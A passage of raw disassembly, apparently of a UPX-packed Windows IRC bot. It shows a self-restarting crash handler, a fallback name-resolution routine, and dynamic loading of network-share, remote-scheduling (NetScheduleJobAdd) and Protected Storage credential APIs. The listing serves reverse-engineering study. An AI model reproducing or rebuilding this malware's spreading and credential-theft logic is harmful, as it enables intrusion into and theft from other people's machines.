		mov	[ebp+var_8], offset aException_ille ; "EXCEPTION_ILLEGAL_INSTRUCTION"
		jmp	short loc_403413
; ---------------------------------------------------------------------------


loc_4033F1:				; CODE XREF: sub_40332B+9Bj
		mov	[ebp+var_8], offset aException_int_ ; "EXCEPTION_INT_DIVIDE_BY_ZERO"
		jmp	short loc_403413
; ---------------------------------------------------------------------------


loc_4033FA:				; CODE XREF: sub_40332B+51j
		mov	[ebp+var_8], offset aException_nonc ; "EXCEPTION_NONCONTINUABLE_EXCEPTION"
		jmp	short loc_403413
; ---------------------------------------------------------------------------


loc_403403:				; CODE XREF: sub_40332B+A7j
		mov	[ebp+var_8], offset aException_stac ; "EXCEPTION_STACK_OVERFLOW"
		jmp	short loc_403413
; ---------------------------------------------------------------------------


loc_40340C:				; CODE XREF: sub_40332B+8Fj
		mov	[ebp+var_8], offset aException_flt ; "EXCEPTION_FLT"


loc_403413:				; CODE XREF: sub_40332B+77j
					; sub_40332B+83j ...
		mov	eax, [ebp+arg_0]
		mov	eax, [eax]
		cmp	dword ptr [eax+4], 1
		jnz	short loc_40342A
		mov	[ebp+var_114], offset aRestarting ; "Restarting"
		jmp	short loc_403434
; ---------------------------------------------------------------------------


loc_40342A:				; CODE XREF: sub_40332B+F1j
		mov	[ebp+var_114], offset aContinuing ; "Continuing"


loc_403434:				; CODE XREF: sub_40332B+FDj
		push	[ebp+var_114]
		push	[ebp+var_8]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax]
		push	dword ptr [eax]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		push	dword ptr [eax+0C0h]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		push	dword ptr [eax+0B8h]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		push	dword ptr [eax+0C4h]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		push	dword ptr [eax+0B4h]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		push	dword ptr [eax+9Ch]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		push	dword ptr [eax+0A0h]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		push	dword ptr [eax+0A8h]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		push	dword ptr [eax+0ACh]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		push	dword ptr [eax+0A4h]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		push	dword ptr [eax+0B0h]
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	offset dword_41864C
		push	offset dword_41DB88
		call	sub_40D4AB
		add	esp, 48h


loc_4034D9:				; CODE XREF: sub_40332B+21j
		mov	eax, [ebp+var_4]
		inc	eax
		cmp	eax, 64h
		jz	short loc_4034ED
		mov	eax, [ebp+arg_0]
		mov	eax, [eax]
		cmp	dword ptr [eax+4], 1
		jnz	short loc_403558


loc_4034ED:				; CODE XREF: sub_40332B+1B5j
		push	104h
		lea	eax, [ebp+var_10C]
		push	eax
		push	0
		call	ds:dword_41708C	; GetModuleHandleA
		push	eax
		call	ds:dword_417090	; GetModuleFileNameA
		test	eax, eax
		jz	short loc_403545
		push	0
		push	0
		push	0
		lea	eax, [ebp+var_10C]
		push	eax
		push	offset aOpen	; "open"
		push	0
		call	ds:dword_4171D0	; ShellExecuteA
		cmp	eax, 20h
		ja	short loc_403538
		push	offset aQuitExitting ; "QUIT :exitting"
		call	sub_40D6CB
		pop	ecx
		jmp	short loc_403543
; ---------------------------------------------------------------------------


loc_403538:				; CODE XREF: sub_40332B+1FEj
		push	offset aQuitRestarting ; "QUIT :restarting"
		call	sub_40D6CB
		pop	ecx


loc_403543:				; CODE XREF: sub_40332B+20Bj
		jmp	short loc_403550
; ---------------------------------------------------------------------------


loc_403545:				; CODE XREF: sub_40332B+1DFj
		push	offset aQuitRestarting ; "QUIT :restarting"
		call	sub_40D6CB
		pop	ecx


loc_403550:				; CODE XREF: sub_40332B:loc_403543j
		push	0
		call	ds:dword_41705C	; ExitProcess


loc_403558:				; CODE XREF: sub_40332B+1C0j
		mov	eax, [ebp+arg_0]
		mov	eax, [eax]
		cmp	dword ptr [eax], 80000003h
		jnz	short loc_403583
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		mov	eax, [eax+0B8h]
		inc	eax
		mov	ecx, [ebp+arg_0]
		mov	ecx, [ecx+4]
		mov	[ecx+0B8h], eax
		or	eax, 0FFFFFFFFh
		jmp	short locret_403586
; ---------------------------------------------------------------------------


loc_403583:				; CODE XREF: sub_40332B+238j
		push	1
		pop	eax

locret_403586:				; CODE XREF: sub_40332B+256j
		leave
		retn
sub_40332B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403588	proc near		; DATA XREF: sub_403BD3:loc_403D85o

var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= word ptr -30h
var_2E		= word ptr -2Eh
var_2C		= dword	ptr -2Ch
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 48h
		cmp	[ebp+arg_8], 0
		jz	short loc_4035E2
		mov	eax, [ebp+arg_8]
		cmp	dword ptr [eax+4], 0
		jz	short loc_4035BB
		mov	eax, [ebp+arg_8]
		cmp	dword ptr [eax+4], 2
		jz	short loc_4035BB
		push	273Fh
		call	ds:dword_417234	; WSASetLastError
		mov	eax, 273Fh
		jmp	locret_4038B6
; ---------------------------------------------------------------------------


loc_4035BB:				; CODE XREF: sub_403588+13j
					; sub_403588+1Cj
		mov	eax, [ebp+arg_8]
		cmp	dword ptr [eax+8], 1
		jz	short loc_4035E2
		mov	eax, [ebp+arg_8]
		cmp	dword ptr [eax+8], 2
		jz	short loc_4035E2
		push	273Ch
		call	ds:dword_417234	; WSASetLastError
		mov	eax, 273Ch
		jmp	locret_4038B6
; ---------------------------------------------------------------------------


loc_4035E2:				; CODE XREF: sub_403588+Aj
					; sub_403588+3Aj ...
		cmp	[ebp+arg_0], 0
		jnz	loc_4036D6
		push	30h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_34], eax
		cmp	[ebp+var_34], 0
		jnz	short loc_40360D
		push	8
		call	ds:dword_417234	; WSASetLastError
		push	8
		pop	eax
		jmp	locret_4038B6
; ---------------------------------------------------------------------------


loc_40360D:				; CODE XREF: sub_403588+73j
		push	30h
		push	0
		push	[ebp+var_34]
		call	sub_416B6A	; memset
		add	esp, 0Ch
		push	10h
		push	0
		lea	eax, [ebp+var_30]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		mov	[ebp+var_30], 2
		cmp	[ebp+arg_4], 0
		jz	short loc_40364C
		push	[ebp+arg_4]
		call	sub_416B9C	; atoi
		pop	ecx
		push	eax
		call	ds:dword_417238	; ntohs
		mov	[ebp+var_2E], ax


loc_40364C:				; CODE XREF: sub_403588+AEj
		mov	eax, [ebp+var_34]
		mov	dword ptr [eax+4], 2
		cmp	[ebp+arg_8], 0
		jz	short loc_403667
		mov	eax, [ebp+arg_8]
		mov	eax, [eax+8]
		mov	[ebp+var_38], eax
		jmp	short loc_40366E
; ---------------------------------------------------------------------------


loc_403667:				; CODE XREF: sub_403588+D2j
		mov	[ebp+var_38], 1


loc_40366E:				; CODE XREF: sub_403588+DDj
		mov	eax, [ebp+var_34]
		mov	ecx, [ebp+var_38]
		mov	[eax+8], ecx
		cmp	[ebp+arg_8], 0
		jz	short loc_403688
		mov	eax, [ebp+arg_8]
		mov	eax, [eax+0Ch]
		mov	[ebp+var_3C], eax
		jmp	short loc_40368F
; ---------------------------------------------------------------------------


loc_403688:				; CODE XREF: sub_403588+F3j
		mov	[ebp+var_3C], 6


loc_40368F:				; CODE XREF: sub_403588+FEj
		mov	eax, [ebp+var_34]
		mov	ecx, [ebp+var_3C]
		mov	[eax+0Ch], ecx
		mov	eax, [ebp+var_34]
		mov	dword ptr [eax+10h], 10h
		mov	eax, [ebp+var_34]
		add	eax, 20h
		mov	ecx, [ebp+var_34]
		mov	[ecx+18h], eax
		and	[ebp+var_2C], 0
		push	10h
		lea	eax, [ebp+var_30]
		push	eax
		mov	eax, [ebp+var_34]
		add	eax, 20h
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+arg_C]
		mov	ecx, [ebp+var_34]
		mov	[eax], ecx
		xor	eax, eax
		jmp	locret_4038B6
; ---------------------------------------------------------------------------


loc_4036D6:				; CODE XREF: sub_403588+5Ej
		push	[ebp+arg_0]
		call	ds:dword_41723C	; gethostbyname
		mov	[ebp+var_14], eax
		cmp	[ebp+var_14], 0
		jnz	short loc_4036F2
		mov	eax, 2AFBh
		jmp	locret_4038B6
; ---------------------------------------------------------------------------


loc_4036F2:				; CODE XREF: sub_403588+15Ej
		and	[ebp+var_20], 0
		jmp	short loc_4036FF
; ---------------------------------------------------------------------------


loc_4036F8:				; CODE XREF: sub_403588+18Cj
		mov	eax, [ebp+var_20]
		inc	eax
		mov	[ebp+var_20], eax


loc_4036FF:				; CODE XREF: sub_403588+16Ej
		cmp	[ebp+var_14], 0
		jz	short loc_403716
		mov	eax, [ebp+var_14]
		mov	eax, [eax+0Ch]
		mov	ecx, [ebp+var_20]
		cmp	dword ptr [eax+ecx*4], 0
		jz	short loc_403716
		jmp	short loc_4036F8
; ---------------------------------------------------------------------------


loc_403716:				; CODE XREF: sub_403588+17Bj
					; sub_403588+18Aj
		cmp	[ebp+var_20], 0
		jnz	short loc_403726
		mov	eax, 2AFBh
		jmp	locret_4038B6
; ---------------------------------------------------------------------------


loc_403726:				; CODE XREF: sub_403588+192j
		mov	eax, [ebp+var_20]
		imul	eax, 30h
		push	eax
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_1C], eax
		cmp	[ebp+var_1C], 0
		jnz	short loc_40374C
		push	8
		call	ds:dword_417234	; WSASetLastError
		push	8
		pop	eax
		jmp	locret_4038B6
; ---------------------------------------------------------------------------


loc_40374C:				; CODE XREF: sub_403588+1B2j
		mov	eax, [ebp+var_20]
		imul	eax, 30h
		push	eax
		push	0
		push	[ebp+var_1C]
		call	sub_416B6A	; memset
		add	esp, 0Ch
		push	10h
		push	0
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		cmp	[ebp+arg_4], 0
		jz	short loc_403790
		push	[ebp+arg_4]
		call	sub_416B9C	; atoi
		pop	ecx
		push	eax
		call	ds:dword_417238	; ntohs
		mov	[ebp+var_E], ax


loc_403790:				; CODE XREF: sub_403588+1F2j
		and	[ebp+var_18], 0
		jmp	short loc_40379D
; ---------------------------------------------------------------------------


loc_403796:				; CODE XREF: sub_403588:loc_4038A7j
		mov	eax, [ebp+var_18]
		inc	eax
		mov	[ebp+var_18], eax


loc_40379D:				; CODE XREF: sub_403588+20Cj
		mov	eax, [ebp+var_18]
		cmp	eax, [ebp+var_20]
		jnb	loc_4038AC
		cmp	[ebp+arg_8], 0
		jz	short loc_4037B9
		mov	eax, [ebp+arg_8]
		mov	eax, [eax]
		mov	[ebp+var_40], eax
		jmp	short loc_4037C0
; ---------------------------------------------------------------------------


loc_4037B9:				; CODE XREF: sub_403588+225j
		mov	[ebp+var_40], 4


loc_4037C0:				; CODE XREF: sub_403588+22Fj
		mov	eax, [ebp+var_18]
		imul	eax, 30h
		mov	ecx, [ebp+var_1C]
		mov	edx, [ebp+var_40]
		mov	[ecx+eax], edx
		mov	eax, [ebp+var_18]
		imul	eax, 30h
		mov	ecx, [ebp+var_1C]
		mov	dword ptr [ecx+eax+4], 2
		cmp	[ebp+arg_8], 0
		jz	short loc_4037F1
		mov	eax, [ebp+arg_8]
		mov	eax, [eax+8]
		mov	[ebp+var_44], eax
		jmp	short loc_4037F8
; ---------------------------------------------------------------------------


loc_4037F1:				; CODE XREF: sub_403588+25Cj
		mov	[ebp+var_44], 1


loc_4037F8:				; CODE XREF: sub_403588+267j
		mov	eax, [ebp+var_18]
		imul	eax, 30h
		mov	ecx, [ebp+var_1C]
		mov	edx, [ebp+var_44]
		mov	[ecx+eax+8], edx
		cmp	[ebp+arg_8], 0
		jz	short loc_403819
		mov	eax, [ebp+arg_8]
		mov	eax, [eax+0Ch]
		mov	[ebp+var_48], eax
		jmp	short loc_403820
; ---------------------------------------------------------------------------


loc_403819:				; CODE XREF: sub_403588+284j
		mov	[ebp+var_48], 6


loc_403820:				; CODE XREF: sub_403588+28Fj
		mov	eax, [ebp+var_18]
		imul	eax, 30h
		mov	ecx, [ebp+var_1C]
		mov	edx, [ebp+var_48]
		mov	[ecx+eax+0Ch], edx
		mov	eax, [ebp+var_18]
		imul	eax, 30h
		mov	ecx, [ebp+var_1C]
		mov	dword ptr [ecx+eax+10h], 10h
		mov	eax, [ebp+var_18]
		imul	eax, 30h
		mov	ecx, [ebp+var_1C]
		lea	eax, [ecx+eax+20h]
		mov	ecx, [ebp+var_18]
		imul	ecx, 30h
		mov	edx, [ebp+var_1C]
		mov	[edx+ecx+18h], eax
		mov	eax, [ebp+var_14]
		mov	eax, [eax+0Ch]
		mov	ecx, [ebp+var_18]
		mov	eax, [eax+ecx*4]
		mov	eax, [eax]
		mov	[ebp+var_C], eax
		push	10h
		lea	eax, [ebp+var_10]
		push	eax
		mov	eax, [ebp+var_18]
		imul	eax, 30h
		mov	ecx, [ebp+var_1C]
		lea	eax, [ecx+eax+20h]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		cmp	[ebp+var_18], 0
		jz	short loc_4038A7
		mov	eax, [ebp+var_18]
		imul	eax, 30h
		mov	ecx, [ebp+var_1C]
		add	ecx, eax
		mov	eax, [ebp+var_18]
		dec	eax
		imul	eax, 30h
		mov	edx, [ebp+var_1C]
		mov	[edx+eax+1Ch], ecx


loc_4038A7:				; CODE XREF: sub_403588+304j
		jmp	loc_403796
; ---------------------------------------------------------------------------


loc_4038AC:				; CODE XREF: sub_403588+21Bj
		mov	eax, [ebp+arg_C]
		mov	ecx, [ebp+var_1C]
		mov	[eax], ecx
		xor	eax, eax

locret_4038B6:				; CODE XREF: sub_403588+2Ej
					; sub_403588+55j ...
		leave
		retn	10h
sub_403588	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4038BA	proc near		; DATA XREF: sub_403BD3+1BCo

var_434		= dword	ptr -434h
var_430		= byte ptr -430h
var_410		= dword	ptr -410h
var_40C		= dword	ptr -40Ch
var_408		= dword	ptr -408h
var_404		= byte ptr -404h
arg_0		= dword	ptr  8
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 434h
		cmp	[ebp+arg_8], 0
		jnz	short loc_4038CF
		cmp	[ebp+arg_10], 0
		jz	short loc_4038D8


loc_4038CF:				; CODE XREF: sub_4038BA+Dj
		mov	eax, [ebp+arg_18]
		and	al, 0E0h
		test	eax, eax
		jz	short loc_4038ED


loc_4038D8:				; CODE XREF: sub_4038BA+13j
		push	2726h
		call	ds:dword_417234	; WSASetLastError
		mov	eax, 2726h
		jmp	locret_403BB9
; ---------------------------------------------------------------------------


loc_4038ED:				; CODE XREF: sub_4038BA+1Cj
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_40C], eax
		mov	eax, [ebp+var_40C]
		movsx	eax, word ptr [eax]
		cmp	eax, 2
		jz	short loc_403919
		push	273Fh
		call	ds:dword_417234	; WSASetLastError
		mov	eax, 273Fh
		jmp	locret_403BB9
; ---------------------------------------------------------------------------


loc_403919:				; CODE XREF: sub_4038BA+48j
		cmp	[ebp+arg_8], 0
		jz	loc_403ABA
		mov	eax, [ebp+var_40C]
		push	dword ptr [eax+4]
		call	ds:dword_41721C	; inet_ntoa
		mov	[ebp+var_434], eax
		cmp	[ebp+var_434], 0
		jnz	short loc_403949
		or	eax, 0FFFFFFFFh
		jmp	locret_403BB9
; ---------------------------------------------------------------------------


loc_403949:				; CODE XREF: sub_4038BA+85j
		push	401h
		push	[ebp+var_434]
		lea	eax, [ebp+var_404]
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		mov	eax, [ebp+arg_18]
		and	eax, 2
		test	eax, eax
		jz	short loc_403972
		jmp	loc_403BB4
; ---------------------------------------------------------------------------


loc_403972:				; CODE XREF: sub_4038BA+B1j
		mov	eax, [ebp+arg_18]
		and	eax, 4
		test	eax, eax
		jz	short loc_4039F4
		push	0
		push	4
		mov	eax, [ebp+var_40C]
		add	eax, 4
		push	eax
		call	ds:dword_417220	; gethostbyaddr
		mov	[ebp+var_410], eax
		cmp	[ebp+var_410], 0
		jnz	short loc_4039AA
		call	ds:dword_417224	; WSAGetLastError
		jmp	locret_403BB9
; ---------------------------------------------------------------------------


loc_4039AA:				; CODE XREF: sub_4038BA+E3j
		mov	eax, [ebp+var_410]
		push	dword ptr [eax]
		call	sub_416B40	; strlen
		pop	ecx
		inc	eax
		cmp	eax, [ebp+arg_C]
		jbe	short loc_4039D3
		push	2747h
		call	ds:dword_417234	; WSASetLastError
		mov	eax, 2747h
		jmp	locret_403BB9
; ---------------------------------------------------------------------------


loc_4039D3:				; CODE XREF: sub_4038BA+102j
		push	401h
		mov	eax, [ebp+var_410]
		push	dword ptr [eax]
		lea	eax, [ebp+var_404]
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		jmp	loc_403ABA
; ---------------------------------------------------------------------------


loc_4039F4:				; CODE XREF: sub_4038BA+C0j
		mov	eax, [ebp+arg_18]
		and	eax, 1
		test	eax, eax
		jz	loc_403A92
		mov	eax, [ebp+var_40C]
		cmp	dword ptr [eax+4], 7F000001h
		jz	short loc_403A1D
		mov	eax, [ebp+var_40C]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_403A92


loc_403A1D:				; CODE XREF: sub_4038BA+155j
		push	0
		push	4
		mov	eax, [ebp+var_40C]
		add	eax, 4
		push	eax
		call	ds:dword_417220	; gethostbyaddr
		mov	[ebp+var_410], eax
		cmp	[ebp+var_410], 0
		jnz	short loc_403A4B
		call	ds:dword_417224	; WSAGetLastError
		jmp	locret_403BB9
; ---------------------------------------------------------------------------


loc_403A4B:				; CODE XREF: sub_4038BA+184j
		mov	eax, [ebp+var_410]
		push	dword ptr [eax]
		call	sub_416B40	; strlen
		pop	ecx
		inc	eax
		cmp	eax, [ebp+arg_C]
		jbe	short loc_403A74
		push	2747h
		call	ds:dword_417234	; WSASetLastError
		mov	eax, 2747h
		jmp	locret_403BB9
; ---------------------------------------------------------------------------


loc_403A74:				; CODE XREF: sub_4038BA+1A3j
		push	401h
		mov	eax, [ebp+var_410]
		push	dword ptr [eax]
		lea	eax, [ebp+var_404]
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		jmp	short loc_403ABA
; ---------------------------------------------------------------------------


loc_403A92:				; CODE XREF: sub_4038BA+142j
					; sub_4038BA+161j ...
		lea	eax, [ebp+var_404]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		inc	eax
		cmp	eax, [ebp+arg_C]
		jbe	short loc_403ABA
		push	2747h
		call	ds:dword_417234	; WSASetLastError
		mov	eax, 2747h
		jmp	locret_403BB9
; ---------------------------------------------------------------------------


loc_403ABA:				; CODE XREF: sub_4038BA+63j
					; sub_4038BA+135j ...
		cmp	[ebp+arg_10], 0
		jz	loc_403B99
		push	8
		pop	eax
		test	eax, eax
		jz	short loc_403B2C
		push	0Ah
		lea	eax, [ebp+var_430]
		push	eax
		mov	eax, [ebp+var_40C]
		mov	ax, [eax+2]
		push	eax
		call	ds:dword_417238	; ntohs
		movzx	eax, ax
		push	eax
		call	sub_416F7A	; _itoa
		add	esp, 0Ch
		lea	eax, [ebp+var_430]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		inc	eax
		cmp	eax, [ebp+arg_14]
		jbe	short loc_403B19
		push	2747h
		call	ds:dword_417234	; WSASetLastError
		mov	eax, 2747h
		jmp	locret_403BB9
; ---------------------------------------------------------------------------


loc_403B19:				; CODE XREF: sub_4038BA+248j
		lea	eax, [ebp+var_430]
		push	eax
		push	[ebp+arg_10]
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		jmp	short loc_403B99
; ---------------------------------------------------------------------------


loc_403B2C:				; CODE XREF: sub_4038BA+20Fj
		mov	eax, [ebp+arg_18]
		and	eax, 10h
		neg	eax
		sbb	eax, eax
		and	eax, offset aUdp ; "udp"
		push	eax
		mov	eax, [ebp+var_40C]
		movzx	eax, word ptr [eax+2]
		push	eax
		call	ds:dword_417228	; getservbyport
		mov	[ebp+var_408], eax
		cmp	[ebp+var_408], 0
		jnz	short loc_403B61
		or	eax, 0FFFFFFFFh
		jmp	short locret_403BB9
; ---------------------------------------------------------------------------


loc_403B61:				; CODE XREF: sub_4038BA+2A0j
		mov	eax, [ebp+var_408]
		push	dword ptr [eax]
		call	sub_416B40	; strlen
		pop	ecx
		inc	eax
		cmp	eax, [ebp+arg_14]
		jbe	short loc_403B87
		push	2747h
		call	ds:dword_417234	; WSASetLastError
		mov	eax, 2747h
		jmp	short locret_403BB9
; ---------------------------------------------------------------------------


loc_403B87:				; CODE XREF: sub_4038BA+2B9j
		mov	eax, [ebp+var_408]
		push	dword ptr [eax]
		push	[ebp+arg_10]
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx


loc_403B99:				; CODE XREF: sub_4038BA+204j
					; sub_4038BA+270j
		cmp	[ebp+arg_8], 0
		jz	short loc_403BB0
		lea	eax, [ebp+var_404]
		push	eax
		push	[ebp+arg_8]
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx


loc_403BB0:				; CODE XREF: sub_4038BA+2E3j
		xor	eax, eax
		jmp	short locret_403BB9
; ---------------------------------------------------------------------------


loc_403BB4:				; CODE XREF: sub_4038BA+B3j
		jmp	loc_403A92
; ---------------------------------------------------------------------------

locret_403BB9:				; CODE XREF: sub_4038BA+2Ej
					; sub_4038BA+5Aj ...
		leave
		retn	1Ch
sub_4038BA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403BBD	proc near		; DATA XREF: sub_403BD3+1C6o

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_0], 0
		jz	short loc_403BCF
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx


loc_403BCF:				; CODE XREF: sub_403BBD+7j
		pop	ebp
		retn	4
sub_403BBD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403BD3	proc near		; CODE XREF: UPX0:loc_4168BCp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	offset aKernel32_dll ; "kernel32.dll"
		call	ds:dword_417054	; LoadLibraryA
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jz	short loc_403C00
		push	offset aInitializecrit ; "InitializeCriticalSectionAndSpinCount"
		push	[ebp+var_C]
		call	ds:dword_417058	; GetProcAddress
		mov	ds:dword_41DF10, eax


loc_403C00:				; CODE XREF: sub_403BD3+18j
		push	offset aNetapi32_dll ; "netapi32.dll"
		call	ds:dword_417054	; LoadLibraryA
		mov	[ebp+var_14], eax
		cmp	[ebp+var_14], 0
		jz	loc_403CC3
		push	offset aNetusegetinfo ;	"NetUseGetInfo"
		push	[ebp+var_14]
		call	ds:dword_417058	; GetProcAddress
		mov	ds:dword_41DF18, eax
		push	offset aNetuseadd ; "NetUseAdd"
		push	[ebp+var_14]
		call	ds:dword_417058	; GetProcAddress
		mov	ds:dword_41DF1C, eax
		push	offset aNetusedel ; "NetUseDel"
		push	[ebp+var_14]
		call	ds:dword_417058	; GetProcAddress
		mov	ds:dword_41DF20, eax
		push	offset aNetuserenum ; "NetUserEnum"
		push	[ebp+var_14]
		call	ds:dword_417058	; GetProcAddress
		mov	ds:dword_41DF24, eax
		push	offset aNetshareenum ; "NetShareEnum"
		push	[ebp+var_14]
		call	ds:dword_417058	; GetProcAddress
		mov	ds:dword_41DF28, eax
		push	offset aNetremotetod ; "NetRemoteTOD"
		push	[ebp+var_14]
		call	ds:dword_417058	; GetProcAddress
		mov	ds:dword_41DF2C, eax
		push	offset aNetapibufferfr ; "NetApiBufferFree"
		push	[ebp+var_14]
		call	ds:dword_417058	; GetProcAddress
		mov	ds:dword_41DF30, eax
		push	offset aNetschedulejob ; "NetScheduleJobAdd"
		push	[ebp+var_14]
		call	ds:dword_417058	; GetProcAddress
		mov	ds:dword_41DF34, eax
		push	offset aNetaddalternat ; "NetAddAlternateComputerName"
		push	[ebp+var_14]
		call	ds:dword_417058	; GetProcAddress
		mov	ds:dword_41DF38, eax


loc_403CC3:				; CODE XREF: sub_403BD3+3Fj
		push	offset aMpr_dll	; "mpr.dll"
		call	ds:dword_417054	; LoadLibraryA
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jz	short loc_403D23
		push	offset aWnetaddconnect ; "WNetAddConnection2A"
		push	[ebp+var_8]
		call	ds:dword_417058	; GetProcAddress
		mov	ds:dword_41DF3C, eax
		push	offset aWnetaddconne_0 ; "WNetAddConnection2W"
		push	[ebp+var_8]
		call	ds:dword_417058	; GetProcAddress
		mov	ds:dword_41DF40, eax
		push	offset aWnetcancelconn ; "WNetCancelConnection2A"
		push	[ebp+var_8]
		call	ds:dword_417058	; GetProcAddress
		mov	ds:dword_41DF44, eax
		push	offset aWnetcancelco_0 ; "WNetCancelConnection2W"
		push	[ebp+var_8]
		call	ds:dword_417058	; GetProcAddress
		mov	ds:dword_41DF48, eax


loc_403D23:				; CODE XREF: sub_403BD3+102j
		push	offset aWs2_32_dll ; "ws2_32.dll"
		call	ds:dword_417054	; LoadLibraryA
		mov	[ebp+var_4], eax
		push	offset aGetaddrinfo ; "getaddrinfo"
		push	[ebp+var_4]
		call	ds:dword_417058	; GetProcAddress
		mov	ds:dword_41DF54, eax
		push	offset aGetnameinfo ; "getnameinfo"
		push	[ebp+var_4]
		call	ds:dword_417058	; GetProcAddress
		mov	ds:dword_41DF58, eax
		push	offset aFreeaddrinfo ; "freeaddrinfo"
		push	[ebp+var_4]
		call	ds:dword_417058	; GetProcAddress
		mov	ds:dword_41DF5C, eax
		cmp	ds:dword_41DF54, 0
		jz	short loc_403D85
		cmp	ds:dword_41DF58, 0
		jz	short loc_403D85
		cmp	ds:dword_41DF5C, 0
		jnz	short loc_403DA3


loc_403D85:				; CODE XREF: sub_403BD3+19Ej
					; sub_403BD3+1A7j
		mov	ds:dword_41DF54, offset	sub_403588
		mov	ds:dword_41DF58, offset	sub_4038BA
		mov	ds:dword_41DF5C, offset	sub_403BBD


loc_403DA3:				; CODE XREF: sub_403BD3+1B0j
		push	offset aPstorec_dll ; "pstorec.dll"
		call	ds:dword_417054	; LoadLibraryA
		mov	[ebp+var_10], eax
		cmp	[ebp+var_10], 0
		jz	short loc_403DCA
		push	offset aPstorecreatein ; "PStoreCreateInstance"
		push	[ebp+var_10]
		call	ds:dword_417058	; GetProcAddress
		mov	ds:dword_41DF50, eax


loc_403DCA:				; CODE XREF: sub_403BD3+1E2j
		push	offset aWininet_dll ; "wininet.dll"
		call	ds:dword_417054	; LoadLibraryA
		mov	[ebp+var_18], eax
		cmp	[ebp+var_18], 0
		jz	short locret_403DF1
		push	offset aInternetgetcon ; "InternetGetConnectedStateExA"
		push	[ebp+var_18]
		call	ds:dword_417058	; GetProcAddress
		mov	ds:dword_41DF4C, eax

locret_403DF1:				; CODE XREF: sub_403BD3+209j
		leave
		retn
sub_403BD3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403DF3	proc near		; DATA XREF: sub_403FE5+89o

var_1228	= dword	ptr -1228h
var_1224	= byte ptr -1224h
var_1200	= byte ptr -1200h
var_11DC	= byte ptr -11DCh
var_11B8	= dword	ptr -11B8h
var_11B4	= dword	ptr -11B4h
var_11B0	= dword	ptr -11B0h
var_11AC	= byte ptr -11ACh
var_11A6	= byte ptr -11A6h
var_1000	= byte ptr -1000h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1228h
		call	sub_416BC0
		push	1ADh
		push	[ebp+arg_0]
		lea	eax, [ebp+var_11B0]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		push	1
		lea	eax, [ebp+var_11AC]
		push	eax
		call	sub_4046BC
		pop	ecx
		pop	ecx
		mov	[ebp+var_11B4],	eax
		cmp	[ebp+var_11B4],	0
		jnz	short loc_403E52
		push	[ebp+var_11B0]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	locret_403FE1
; ---------------------------------------------------------------------------


loc_403E52:				; CODE XREF: sub_403DF3+4Aj
		lea	eax, [ebp+var_11AC]
		push	eax
		mov	eax, [ebp+var_11B0]
		push	dword ptr [eax]
		push	offset dword_4189C4
		lea	eax, [ebp+var_11A6]
		push	eax
		call	sub_40D53F
		add	esp, 10h


